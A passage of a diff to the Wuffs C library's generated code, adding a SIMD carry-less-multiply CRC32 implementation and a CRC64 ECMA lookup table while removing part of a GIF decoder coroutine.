_mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 96u)); ++ v_x7 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 112u)); ++ v_kk = _mm_set_epi32((int32_t)(0u), (int32_t)(2433674945u), (int32_t)(0u), (int32_t)(872412467u)); ++ v_x0 = _mm_xor_si128(v_x0, _mm_cvtsi32_si128((int32_t)(v_s))); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 128u); ++ while (((uint64_t)(a_x.len)) >= 128u) { ++ v_y0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(0u)); ++ v_x0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(17u)); ++ v_y1 = _mm_clmulepi64_si128(v_x1, v_kk, (int32_t)(0u)); ++ v_x1 = _mm_clmulepi64_si128(v_x1, v_kk, (int32_t)(17u)); ++ v_y2 = _mm_clmulepi64_si128(v_x2, v_kk, (int32_t)(0u)); ++ v_x2 = _mm_clmulepi64_si128(v_x2, v_kk, (int32_t)(17u)); ++ v_y3 = _mm_clmulepi64_si128(v_x3, v_kk, (int32_t)(0u)); ++ v_x3 = _mm_clmulepi64_si128(v_x3, v_kk, (int32_t)(17u)); ++ v_y4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(0u)); ++ v_x4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(17u)); ++ v_y5 = _mm_clmulepi64_si128(v_x5, v_kk, (int32_t)(0u)); ++ v_x5 = _mm_clmulepi64_si128(v_x5, v_kk, (int32_t)(17u)); ++ v_y6 = _mm_clmulepi64_si128(v_x6, v_kk, (int32_t)(0u)); ++ v_x6 = _mm_clmulepi64_si128(v_x6, v_kk, (int32_t)(17u)); ++ v_y7 = _mm_clmulepi64_si128(v_x7, v_kk, (int32_t)(0u)); ++ v_x7 = _mm_clmulepi64_si128(v_x7, v_kk, (int32_t)(17u)); ++ v_y0 = _mm_xor_si128(v_y0, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); ++ v_x0 = _mm_xor_si128(v_x0, v_y0); ++ v_y1 = _mm_xor_si128(v_y1, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u))); ++ v_x1 = _mm_xor_si128(v_x1, v_y1); ++ v_y2 = _mm_xor_si128(v_y2, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u))); ++ v_x2 = _mm_xor_si128(v_x2, v_y2); ++ v_y3 = _mm_xor_si128(v_y3, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u))); ++ v_x3 = _mm_xor_si128(v_x3, v_y3); ++ v_y4 = _mm_xor_si128(v_y4, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 64u))); ++ v_x4 = _mm_xor_si128(v_x4, v_y4); ++ v_y5 = _mm_xor_si128(v_y5, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 80u))); ++ v_x5 = _mm_xor_si128(v_x5, v_y5); ++ v_y6 = _mm_xor_si128(v_y6, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 96u))); ++ v_x6 = _mm_xor_si128(v_x6, v_y6); ++ v_y7 = _mm_xor_si128(v_y7, _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 112u))); ++ v_x7 = _mm_xor_si128(v_x7, v_y7); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 128u); ++ } ++ v_kk = _mm_set_epi32((int32_t)(0u), (int32_t)(3433693342u), (int32_t)(0u), (int32_t)(2926088593u)); ++ v_y0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(0u)); ++ v_x0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(17u)); ++ v_y2 = _mm_clmulepi64_si128(v_x2, v_kk, (int32_t)(0u)); ++ v_x2 = _mm_clmulepi64_si128(v_x2, v_kk, (int32_t)(17u)); ++ v_y4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(0u)); ++ v_x4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(17u)); ++ v_y6 = _mm_clmulepi64_si128(v_x6, v_kk, (int32_t)(0u)); ++ v_x6 = _mm_clmulepi64_si128(v_x6, v_kk, (int32_t)(17u)); ++ v_y0 = _mm_xor_si128(v_y0, v_x1); ++ v_x0 = _mm_xor_si128(v_x0, v_y0); ++ v_y2 = _mm_xor_si128(v_y2, v_x3); ++ v_x2 = _mm_xor_si128(v_x2, v_y2); ++ v_y4 = _mm_xor_si128(v_y4, v_x5); ++ v_x4 = _mm_xor_si128(v_x4, v_y4); ++ v_y6 = _mm_xor_si128(v_y6, v_x7); ++ v_x6 = _mm_xor_si128(v_x6, v_y6); ++ v_kk = _mm_set_epi32((int32_t)(0u), (int32_t)(2166711591u), (int32_t)(0u), (int32_t)(4057597354u)); ++ v_y0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(0u)); ++ v_x0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(17u)); ++ v_y4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(0u)); ++ v_x4 = _mm_clmulepi64_si128(v_x4, v_kk, (int32_t)(17u)); ++ v_y0 = _mm_xor_si128(v_y0, v_x2); ++ v_x0 = _mm_xor_si128(v_x0, v_y0); ++ v_y4 = _mm_xor_si128(v_y4, v_x6); ++ v_x4 = _mm_xor_si128(v_x4, v_y4); ++ v_kk = _mm_set_epi32((int32_t)(0u), (int32_t)(496309207u), (int32_t)(0u), (int32_t)(2402626965u)); ++ v_y0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(0u)); ++ v_x0 = _mm_clmulepi64_si128(v_x0, v_kk, (int32_t)(17u)); ++ v_y0 = _mm_xor_si128(v_y0, v_x4); ++ v_x0 = _mm_xor_si128(v_x0, v_y0); ++ v_kk = _mm_set_epi32((int32_t)(1u), (int32_t)(3681617473u), (int32_t)(3034951717u), (int32_t)(4144043585u)); ++ v_s = ((uint32_t)(_mm_extract_epi32(_mm_clmulepi64_si128(_mm_clmulepi64_si128(_mm_cvtsi64_si128((int64_t)(((uint64_t)(_mm_extract_epi64(v_x0, (int32_t)(0u)))))), v_kk, (int32_t)(0u)), v_kk, (int32_t)(16u)), (int32_t)(2u)))); ++ v_kk = _mm_set_epi32((int32_t)(1u), (int32_t)(3681617473u), (int32_t)(3034951717u), (int32_t)(4144043585u)); ++ v_s = ((uint32_t)(_mm_extract_epi32(_mm_clmulepi64_si128(_mm_clmulepi64_si128(_mm_cvtsi64_si128((int64_t)((((uint64_t)(_mm_extract_epi64(v_x0, (int32_t)(1u)))) ^ ((uint64_t)(v_s))))), v_kk, (int32_t)(0u)), v_kk, (int32_t)(16u)), (int32_t)(2u)))); ++ } ++ while (((uint64_t)(a_x.len)) >= 8u) { ++ v_kk = _mm_set_epi32((int32_t)(1u), (int32_t)(3681617473u), (int32_t)(3034951717u), (int32_t)(4144043585u)); ++ v_s = ((uint32_t)(_mm_extract_epi32(_mm_clmulepi64_si128(_mm_clmulepi64_si128(_mm_cvtsi64_si128((int64_t)((wuffs_base__peek_u64le__no_bounds_check(a_x.ptr) ^ ((uint64_t)(v_s))))), v_kk, (int32_t)(0u)), v_kk, (int32_t)(16u)), (int32_t)(2u)))); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 8u); + } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ while (((uint64_t)(a_x.len)) > 0u) { ++ v_s = (WUFFS_CRC32__IEEE_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ a_x.ptr[0u]))] ^ (v_s >> 8u)); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ self->private_impl.f_state = (4294967295u ^ v_s); ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) + +- uint32_t coro_susp_point = self->private_impl.p_tell_me_more[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC64) + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_gif__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++// ---------------- Status Codes Implementations + +- ok: +- self->private_impl.p_tell_me_more[0] = 0; +- goto exit; +- } ++// ---------------- Private Consts + +- goto suspend; +- suspend: +- self->private_impl.p_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++static const uint64_t ++WUFFS_CRC64__ECMA_TABLE[8][256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ { ++ 0u, 12911341560706588527u, 17619267392293085275u, 5164075066763771700u, 8921845837811637811u, 14483170935171449180u, 10328150133527543400u, 4357999468653093127u, ++ 17843691675623275622u, 4940391307328217865u, 226782375002905661u, 12685511915359257426u, 10119945210068853333u, 4566377562367245626u, 8715998937306186254u, 14689403211693301089u, ++ 9051005139383707209u, 14895072503764629798u, 9880782614656435730u, 4193374422961527165u, 453564750005811322u, 13070904082541799189u, 17496296445768931361u, 4747102235666401102u, ++ 9960315520700766767u, 4113029525020509504u, 9132755124734491252u, 14812441257301386523u, 17431997874612372508u, 4811156168024382323u, 391483189436228679u, 13132671735097031464u, ++ 18102010278767414418u, 5195199925788447741u, 1131375642422963401u, 13591081480414639014u, 9288535643022529185u, 3731739485546663374u, 8386748845923054330u, 14361410892855143829u, ++ 907129500011622644u, 13814943346342178715u, 17875617253995106479u, 5421418680781082560u, 8594564625313771207u, 14152643483341451688u, 9494204471332802204u, 3525329033817543155u, ++ 9704381199536204507u, 3855837706121835956u, 8226059050041019008u, 13908973417437222383u, 18265510249468982504u, 5643692520190618503u, 718348998302913715u, 13463047253836762076u, ++ 8146277531524994749u, 13989069943491807698u, 9622312336048764646u, 3938150108875254153u, 782966378872457358u, 13399312233903888353u, 18327840216347633877u, 5582173445676054458u, ++ 7257036000092981153u, 15535280666427316430u, 10390399851576895482u, 2529986302517213333u, 2262751284845926802u, 12414353723947190013u, 16997392145760156105u, 6398650419759490726u, ++ 10599130201908394951u, 2322133910755632296u, 7463478971093326748u, 15329644185724306675u, 16773497691846108660u, 6622864283287239323u, 2036569382881248687u, 12640783567252986560u, ++ 1814259000023245288u, 12250853444207230599u, 17125426475222188467u, 6811676960462675676u, 7132938157145702363u, 15119434731753103540u, 10842837361562165120u, 2690676064372932847u, ++ 17189129250627542414u, 6747026957542163169u, 1875814858707893717u, 12188560364711551674u, 10762704257491731389u, 2770420489343360210u, 7050658067635086310u, 15201536148867841161u, ++ 11493583972846619443u, 3219832958944941148u, 7711675412243671912u, 15576564987190227975u, 16452118100082038016u, 6305011443818121839u, 1213047649942025563u, 11816267669673208372u, ++ 7503259434831574869u, 15784731923736995898u, 11287385040381237006u, 3425713581329221729u, 1436697996605827430u, 11591809733187859977u, 16677985422973077821u, 6078267261889762898u, ++ 16292555063049989498u, 5851447209550246421u, 1630020308903038241u, 11939238787801010766u, 11081681957373440841u, 3090674103720225830u, 7876300217750508306u, 16023932746787097725u, ++ 1565932757744914716u, 12003503911822413427u, 16230825569204842823u, 5913566482019610152u, 7956607163135676207u, 15944361922680361024u, 11164346891352108916u, 3008957496780927003u, ++ 14514072000185962306u, 8809633696146542637u, 4460922918905818905u, 10287960411460399222u, 12879331835779764593u, 113391187501452830u, 5059972605034426666u, 17660565739912801861u, ++ 4525502569691853604u, 10224187249629523019u, 14576435430675780479u, 8748148222884465680u, 4980157760350383383u, 17740628527280140920u, 12797300839518981452u, 195741594718114339u, ++ 13040162471224305931u, 565687821211481700u, 4644267821511264592u, 17536326748496696895u, 14926957942186653496u, 8937808626997553239u, 4297282312656885603u, 9839608450464401420u, ++ 4852190599768102253u, 17327666750234135042u, 13245728566574478646u, 359174499151456857u, 4073138765762497374u, 10063573324157604913u, 14700457781105076997u, 9163920108173816938u, ++ 3628518000046490576u, 9328460452529085631u, 14330211790445699979u, 8498696072880078052u, 5299565100954197475u, 18061012165519327884u, 13623353920925351352u, 1018284691440624343u, ++ 14265876314291404726u, 8562713237611094233u, 3566469078572851181u, 9390260331795218562u, 13702854325316886917u, 937907429353946858u, 5381352128745865694u, 17978417549248290481u, ++ 5746791986423309721u, 18225777846762470134u, 13494053915084326338u, 606523824971012781u, 3751629717415787434u, 9745292510640121029u, 13876787882151992305u, 8338992711486538910u, ++ 13285957365033343487u, 815010154451519120u, 5540840978686720420u, 18431906428167644875u, 14101316135270172620u, 8115412784602421411u, 3978303581567838103u, 9519354766961195256u, ++ 12527462061959317731u, 2230461459452909452u, 6439665917889882296u, 16893009583564617687u, 15423350824487343824u, 7288217715337890239u, 2490078880175191691u, 10493603952060017124u, ++ 6520081235612152965u, 16813546994155744234u, 12610022887636243678u, 2148641156328442801u, 2426095299884051126u, 10557972909709735385u, 15361512820870335213u, 7350228890552538498u, ++ 15006518869663149738u, 7165105895222849989u, 2649782550477098737u, 10947027550912647582u, 12362696414880903321u, 1783234539286425590u, 6851427162658443458u, 17022309211647725485u, ++ 2873395993211654860u, 10722532847870938531u, 15232418832718623383u, 6938393941075996152u, 6642978682516671743u, 17230443782969840528u, 12156534523779525796u, 1989151790783919051u, ++ 6263731030979658865u, 16556202624882645790u, 11702894419100492842u, 1245039440087595845u, 3260040617806076482u, 11390642587947386157u, 15688795063501830681u, 7680756410435167606u, ++ 11622868312827688983u, 1324891275238549368u, 6181348207440451660u, 16638201170595874595u, 15752600435501016612u, 7616209416359311691u, 3321489341258335871u, 11328242235714328848u, ++ 3131865515489829432u, 10977756817953029463u, 16137146508898304611u, 7844397531750915340u, 5811434156413844491u, 16395372229761246052u, 11827132964039220304u, 1660744670629167935u, ++ 15913214326271352414u, 8068573254449152305u, 2905717078206922245u, 11204220263579804010u, 12035829987123708013u, 1452858539103461122u, 6017914993561854006u, 16189773752444600153u, ++ }, { ++ 0u, 6118555238288912653u, 12237110476577825306u, 18247330833359770391u, 13942380710360636081u, 10778293617712507836u, 7543452712389327019u, 4343374206906190246u, ++ 1162559746622204903u, 4957131115480832746u, 13398436261328603645u, 17084888254066768112u, 15086905424778654038u, 9634902877839851611u, 8686748413812380492u, 3198961161184305729u, ++ 2325119493244409806u, 8407378615347160771u, 9914262230961665492u, 15960741045388068057u, 16229058527915052415u, 13101053971319389298u, 5254506258681524069u, 2018377927885299304u, ++ 3487552142959377449u, 7246080283574668580u, 11075676491871100467u, 14798208821638459198u, 17373496827624760984u, 11957750539307177877u, 6397922322368611458u, 873845550624159119u, ++ 4650238986488819612u, 1468611264581623441u, 16814757230694321542u, 13669406796222545035u, 9364600845881799981u, 15356367945216001056u, 2893367039927949111u, 8993183146101597754u, ++ 5812680741028562043u, 307286854339917174u, 17976181078471403105u, 12506848973898782572u, 10509012517363048138u, 14213073068277772231u, 4036755855770598608u, 7848658706446142941u, ++ 6975104285918754898u, 3757679901787621727u, 14492160567149337160u, 11382574084698991429u, 11651310343450272483u, 17679087685142107118u, 604386294999662841u, 6668229816820511220u, ++ 8137636784695169973u, 2596263716583940792u, 15653459723670892975u, 10220140060479144098u, 12795844644737222916u, 16535671346696648713u, 1747691101248318238u, 5523790692630174227u, ++ 9300477972977639224u, 15418239225476001333u, 2937222529163246882u, 8947075512310451247u, 4642267913777087881u, 1478833794519692420u, 16842993350473770899u, 13643422681269376670u, ++ 10462937938231096543u, 14256895642581861842u, 4098594218943518405u, 7784568886045304776u, 5786734079855898222u, 335485660068962147u, 17986366292203195508u, 12498915352811683193u, ++ 11625361482057124086u, 17707288688936286715u, 614573708679834348u, 6660293997941431265u, 6929031904881267271u, 3801500275841901386u, 14553996732492558429u, 11318486464284246352u, ++ 12787875770090627857u, 16545891676414235164u, 1775925023235784971u, 5497808777625382918u, 8073511711541197216u, 2658137194938402989u, 15697317412892285882u, 10174030228858301111u, ++ 13950208571837509796u, 10768213751408296361u, 7515359803575243454u, 4369215658492879795u, 64266086328445461u, 6056541296517372696u, 12193111774187735055u, 18293581128395077890u, ++ 15112713823828466499u, 9606842886146402894u, 8676701462472931673u, 3206755967968430164u, 1208772589999325682u, 4913169729330573567u, 13336459633641022440u, 17149116886581154533u, ++ 16275273569390339946u, 13057090384914568807u, 5192527433167881584u, 2082608760381092989u, 2350925692077440475u, 8379320821714095318u, 9904217479574233025u, 15968533654375526092u, ++ 17437760713698643085u, 11895738795633802624u, 6353925819959930519u, 920093647833407386u, 3495382202496636476u, 7235998217053677361u, 11047581385260348454u, 14824052473177163051u, ++ 10447068876609200373u, 14128364157388739064u, 4118967294799201007u, 7908597456515216354u, 5874445058326493764u, 391603411424480073u, 17894151024620902494u, 12447300791057279315u, ++ 9284535827554175762u, 15289779793358354975u, 2957667589039384840u, 9071030930460645381u, 4729911307347480995u, 1535020299074674862u, 16750846767572792249u, 13591740465559749300u, ++ 12735909365018523451u, 16453465302197274166u, 1832394617641637153u, 5585730863000118316u, 8197188437887036810u, 2678299164963691655u, 15569137772090609552u, 10158372272797335197u, ++ 11573468159711796444u, 17614790262716542417u, 670971320137924294u, 6748289234561093579u, 7052776217202099821u, 3821593491595032416u, 14425748405936874615u, 11302896163253294458u, ++ 15020497008676966249u, 9555230900528283236u, 8764415362900159859u, 3262871967819308158u, 1229147417359668696u, 5037195377843840213u, 13320587995882862530u, 17020586948957226703u, ++ 13858063809762534542u, 10716528681989657987u, 7603000551683802772u, 4425403642365261721u, 84709666887204415u, 6180499360129388338u, 12177172482473303077u, 18165119875451415848u, ++ 17309582619392432295u, 11880078264510294442u, 6477599625422879421u, 940257368289594288u, 3551850046471569942u, 7323923223311315739u, 10995617555250765836u, 14731624552464748801u, ++ 16147023423082394432u, 13041502936518885965u, 5316274389876805978u, 2102700497890566231u, 2407324781779167729u, 8467313413945678076u, 9852321304593615851u, 15876037047908055782u, ++ 1291018766690942925u, 4973072573440528064u, 13274480430592564695u, 17064442507263798490u, 15030719607150486908u, 9547259896855319665u, 8738431316985759590u, 3291108156134209131u, ++ 128532172656890922u, 6134424711959717159u, 12113082593034745392u, 18226958170089932605u, 13886262546419256987u, 10690581952315096982u, 7595066862094806145u, 4435588787024731532u, ++ 3580050981226981379u, 7297974293382715662u, 10987681667836234265u, 14741811897106152212u, 17353402924945863346u, 11834005814401532863u, 6413511935936860328u, 1002093465131966885u, ++ 2417545179998651364u, 8459344608371405545u, 9826339458661147134u, 15904271038397419763u, 16208896970474576213u, 12977377931899316312u, 5270164626790366031u, 2146558256149678658u, ++ 5864365122984562769u, 399431204366950748u, 17919992407673188939u, 12419207813205476166u, 10385054866335763168u, 14192630174644861933u, 4165217520762185978u, 7864598685623228919u, ++ 4701851384154880950u, 1560828767195761339u, 16758641643428190636u, 13581693582721149089u, 9240574510442684679u, 15335992705270927370u, 3021896290089222941u, 9009054371811832336u, ++ 8153224920554538911u, 2724514274940876434u, 15633368673088300421u, 10096393516356015240u, 12707851639919861038u, 16479271570068024355u, 1840187295666814772u, 5575686180147088953u, ++ 6990764404993272952u, 3885857308630146421u, 14471996434107354722u, 11258899592309161839u, 11563386024119531209u, 17622620253752952772u, 696814903175779539u, 6720194058879067614u, ++ }, { ++ 0u, 4542972359516777931u, 9085944719033555862u, 4691664355513513565u, 18171889438067111724u, 14061474303606774503u, 9383328711027027130u, 13633424072306524529u, ++ 7676286055365832925u, 6164376987427609878u, 1481798532234586955u, 3142253189322229376u, 10855962452864321521u, 12223826156538735162u, 16771372852738792551u, 15543052108730888620u, ++ 15352572110731665850u, 16862791698018765937u, 12328753974855219756u, 10669987536837040103u, 2963597064469173910u, 1597421751597874013u, 6284506378644458752u, 7511137813735006411u, ++ 13801544397233820007u, 9260261528098962604u, 13951919735851666161u, 18344511890033026874u, 4874982405016790603u, 8983709158270585728u, 4445237816650825181u, 196831773885239318u, ++ 4091022007653359089u, 562346998784700474u, 5103132815620245095u, 8780357948041161644u, 14189083196432476893u, 18150173592266475286u, 13474345022262784331u, 9652793049543924864u, ++ 5927194128938347820u, 7875246409875505383u, 3194843503195748026u, 1395478681687169905u, 12569012757288917504u, 10477056948030502859u, 15022275627470012822u, 17253916197967211613u, ++ 17134349580696108107u, 15186860751721288064u, 10655150290339489757u, 12453952663903504918u, 1289987737384422247u, 3381381201708377772u, 8066289525279445233u, 5835212509754572090u, ++ 9749964810033581206u, 13278076374523191645u, 17967418316541171456u, 14290755639648123595u, 8890475633301650362u, 4929947589851190897u, 393663547770478636u, 4214651972966108647u, ++ 8182044015306718178u, 5658655167774316073u, 1124693997569400948u, 3499391957275839935u, 10206265631240490190u, 12873559114121502981u, 17560715896082323288u, 14753743294414502547u, ++ 1948880861322201919u, 2594127930539943668u, 7285718382500778153u, 6491924633276939618u, 16655531858934856723u, 15577868310755742168u, 11039333611388512133u, 11977453108914408014u, ++ 11854388257876695640u, 11207451878732806035u, 15750492819751010766u, 16545974958769302533u, 6389687006391496052u, 7469038772501250239u, 2790957363374339810u, 1851148384058628905u, ++ 14845159798643632773u, 17370237963685480270u, 12687582131971748115u, 10311195790054169816u, 3615017233668480425u, 946035540305899618u, 5493509258033841727u, 8302171348940565492u, ++ 5281120895271462419u, 8521283507583323096u, 3989500891288354181u, 600787064567550030u, 13071075951463747903u, 9974957613568212212u, 14659789384177486505u, 17616368207971182434u, ++ 2579975474768844494u, 2073357103652371205u, 6762762403416755544u, 7120694423275413651u, 16132579050558890466u, 16206641305794825257u, 11670425019509144180u, 11456679111066785727u, ++ 11260412520859862953u, 11767594448091671138u, 16308316081471249471u, 15949821717821010420u, 6947506857025941637u, 6872882154850049358u, 2196985003345963795u, 2411294364755134168u, ++ 17780951266603300724u, 14540225107906894527u, 9859895179702381794u, 13249171359945539881u, 787327095540957272u, 3884007889973030291u, 8429303945932217294u, 5472161678768272901u, ++ 16364088030613436356u, 15858029804260760079u, 11317310335548632146u, 11674676600264311193u, 2249387995138801896u, 2322888996435045667u, 6998783914551679870u, 6785602652076537525u, ++ 9916730820443375385u, 13156333278251739858u, 17836661041797717135u, 14448512960480194884u, 8480501340405739573u, 5384944246861192702u, 839650424281590691u, 3795664592519366248u, ++ 3897761722644403838u, 656471011406904245u, 5188255861079887336u, 8578093388688728099u, 14571436765001556306u, 17668683201823263897u, 12983849266553879236u, 10026146741872662287u, ++ 6669836397870376611u, 7177582867921406824u, 2488175334770097461u, 2129119614032302334u, 11583119667977343375u, 11507929313807383620u, 16044147764761037337u, 16259017374083049426u, ++ 15843330937415051829u, 16489139217633298430u, 11946100509993103779u, 11151742071862860904u, 2878174689517968665u, 1799951022334374098u, 6478030266801178255u, 7416715545229372228u, ++ 12779374012782992104u, 10255423946675697443u, 14938077545002500478u, 17313340186040954037u, 5581914726748679620u, 8249768321177223183u, 3702296768117257810u, 894758378090191769u, ++ 1067805515879173007u, 3592318064290702916u, 8126281399163064345u, 5750455340522077650u, 17509465798031703203u, 14841048614271029608u, 10153889598922762037u, 12961990299524614910u, ++ 7230034467336960850u, 6583663697231173273u, 1892071080611799236u, 2686992928761285903u, 10987018516067683454u, 12065805765134311861u, 16604342697881130984u, 15665095101429070371u, ++ 10562241790542924838u, 12510858718452294125u, 17042567015166646192u, 15242640940723501691u, 7979001782576708362u, 5886480219318720193u, 1201574129135100060u, 3433774845539634519u, ++ 17875696825445760251u, 14346457162030502192u, 9657117384671061869u, 13334903762452155046u, 305328503063841751u, 4266984645440464412u, 8803266454141587521u, 4981154328058445194u, ++ 5159950949537688988u, 8687502257518297175u, 4146714207304742410u, 470617173809470401u, 13525524806833511088u, 9565558111887030139u, 14241388846550827302u, 18061812720343526637u, ++ 3250597773715660097u, 1303669193657626762u, 5984074333724313303u, 7782311056298339100u, 15074661043719826029u, 17165493152098584486u, 12620272307991097851u, 10389759836427934768u, ++ 12273052416502600151u, 10761709128327461916u, 15295744618112993857u, 16955639155056813962u, 6232173811933554427u, 7599472825692375856u, 2912390363305901421u, 1684630829289181350u, ++ 13895013714051883274u, 18437420284065877185u, 13745764309700098716u, 9352044056584181591u, 4393970006691927590u, 284119552558480365u, 4822588729510268336u, 9072122871209877627u, ++ 9177754244107333741u, 4635909983525117350u, 92935459340889083u, 4486092121981797936u, 9471751652205676353u, 13581038687731985034u, 18259186513699183831u, 14010214853299335452u, ++ 1574654191081914544u, 3085435160094502267u, 7768015779946060582u, 6108684823746459373u, 16858607891864434588u, 15491872287116188247u, 10944323357536545802u, 12171520400656925121u, ++ }, { ++ 0u, 2156813408461955548u, 4313626816923911096u, 2752718492472304228u, 8627253633847822192u, 7661928252530632364u, 5505436984944608456u, 5875429064940414228u, ++ 17254507267695644384u, 17481523150583344956u, 15323856505061264728u, 14503785508944014468u, 11010873969889216912u, 9592933115173218380u, 11750858129880828456u, 13762408288327199732u, ++ 5489899806547772229u, 5899293950881604249u, 8641596751236382973u, 7639112309309301025u, 4290280838231655477u, 2766522915734824425u, 24548853041579917u, 2141951263632483921u, ++ 11764625126767791525u, 13739024951972572281u, 10995904098661322269u, 9617374173086412737u, 15347829100153899733u, 14488356108428585737u, 17231728733602892141u, 17495903608387299505u, ++ 10979799613095544458u, 9623805157521532758u, 11798587901763208498u, 13714458609834648814u, 17283193502472765946u, 17452775347443867686u, 15278224618618602050u, 14549338234851124126u, ++ 8580561676463310954u, 7708699370463537590u, 5533045831469648850u, 5847881786764880398u, 49097706083159834u, 2107935609010204358u, 4283902527264967842u, 2782645096555375998u, ++ 15298762408106657231u, 14537220494637179923u, 17261466032775972471u, 17465946411177207723u, 11811312492909331135u, 13692276008895521635u, 10968273481005252871u, 9644925621600215259u, ++ 4261616546501692207u, 2795266376586341107u, 70185227798988951u, 2096376465831291211u, 5520961050865536095u, 5868452604588535171u, 8593836137267777511u, 7687075229128879675u, ++ 11680230827506930577u, 13832259058284016205u, 11080421551794245673u, 9523735455073038837u, 15394057194608301281u, 14432953972299937085u, 17185658977434064729u, 17550865948466574981u, ++ 5579070418531851633u, 5801301123735731373u, 8552830750928559817u, 7736981982542757653u, 4239857041646656001u, 2826138345940532189u, 75412445699561913u, 2082177495183685733u, ++ 17161123352926621908u, 17565732457015587080u, 15417398740927075180u, 14419136389292487344u, 11066091662939297700u, 9546555762013386360u, 11695763573529760796u, 13808381012597372352u, ++ 98195412166319668u, 2067810197125185512u, 4215871218020408716u, 2841563382736944208u, 8567805054529935684u, 7712554084374493336u, 5565290193110751996u, 5824680096370817824u, ++ 4213277561403610395u, 2852497928146826439u, 118647349622822563u, 2038740285422565247u, 5603244184571253355u, 5777048188553278391u, 8511711324634206675u, 7778039831901335567u, ++ 15351860113773370363u, 14475212630091872807u, 17208772955998935107u, 17527831139023518111u, 11724816064851319947u, 13787876126790335831u, 11055209722282565427u, 9549167182608629487u, ++ 8523233093003384414u, 7756906139291137922u, 5590532753172682214u, 5799235221864313914u, 140370455597977902u, 2025555993157185778u, 4192752931662582422u, 2864620100732154698u, ++ 11041922101731072190u, 9570786891571902818u, 11736905209177070342u, 13767318537498720986u, 17187672274535555022u, 17539385849830522386u, 15374150458257759350u, 14462604578592423338u, ++ 15486092620961298855u, 14629711868178897019u, 17092483903335922207u, 17355247692313779139u, 11624791503456485079u, 13600030943165030155u, 11137009302703308143u, 9754815117126884531u, ++ 4151744643171039047u, 2626583331457439387u, 162377516962444543u, 2282879863086044451u, 5631712546292871223u, 6037452326221451755u, 8501327171535303567u, 7499692239708246611u, ++ 11158140837063703266u, 9743299917872012094u, 11602602247471462746u, 13612749016692676742u, 17105661501857119634u, 17333526894853233742u, 15473963965085515306u, 14650238604571402230u, ++ 8479714083293312002u, 7512977616177960414u, 5652276691881064378u, 6025361010828170854u, 150824891399123826u, 2303974039851176622u, 4164354990367371466u, 2604286280411140374u, ++ 5659250822143950637u, 6009834889821986545u, 8454565055791594645u, 7546392787102457161u, 4121809449076176989u, 2656298618920900993u, 211263906290727909u, 2233791159333640761u, ++ 11672732454520566221u, 13552292306546298897u, 11106145987650286197u, 9785898338790069161u, 15440531030182573757u, 14675335027319969633u, 17121240571213837573u, 17326570184971408601u, ++ 196390824332639336u, 2258328937796115892u, 4135620394250371024u, 2632959299571932684u, 8431742436040817432u, 7560729365405768388u, 5683126765473888416u, 5994308631384381820u, ++ 17135610109059871368u, 17303780593489122132u, 15425108168748986672u, 14699314298944934124u, 11130580386221503992u, 9770921945649714212u, 11649360192741635648u, 13566070240564762524u, ++ 8426555122807220790u, 7574959341548112874u, 5704995856293652878u, 5963537623700588626u, 237294699245645126u, 2208312048661695642u, 4077480570845130494u, 2700071425513574178u, ++ 11206488369142506710u, 9686112028953249034u, 11554096377106556782u, 13670376701660284594u, 17023422649268413350u, 17424940338905547386u, 15556079663802671134u, 14559229772221530562u, ++ 4089596066908350835u, 2679540256679954607u, 224121464376355531u, 2230046074588744471u, 5727171952466636291u, 5950815117732351967u, 8405427952099257787u, 7586487769270013031u, ++ 15543464952953907091u, 14581513594800801359u, 17034988434643772459u, 